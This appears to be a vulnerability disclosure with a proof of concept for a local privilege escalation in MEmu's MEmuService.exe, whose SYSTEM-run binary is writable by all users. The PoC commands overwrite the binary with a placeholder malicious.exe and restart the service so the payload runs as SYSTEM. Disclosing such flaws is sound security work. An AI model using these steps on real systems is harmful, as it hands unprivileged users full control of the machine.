    ## Vulnerability
    
    `MEmuService.exe` is installed as a SYSTEM-level Windows service with insecure NTFS permissions:
    
    ```cmd
    icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
    
    BUILTIN\Users:(F)   โ† Any local user has Full Control
    Everyone:(F)        โ† World-writable binar
    ```
    ## Proof of Concept
    :: Step 1 - Verify vulnerable permissions
    ```cmd
    icacls "C:\Program Files\Microvirt\MEmu\MemuService.exe"
    ```
    
    :: Step 2 - Replace binary (as low-priv user)
    ```cmd
    copy malicious.exe "C:\Program Files\Microvirt\MEmu\MemuService.exe" /Y
    ```
    
    :: Step 3 - Restart service
    ```cmd
    sc stop MEmuSVC && sc start MEmuSVC
    ```
    
    :: Result: malicious.exe runs as NT AUTHORITY\SYSTEM
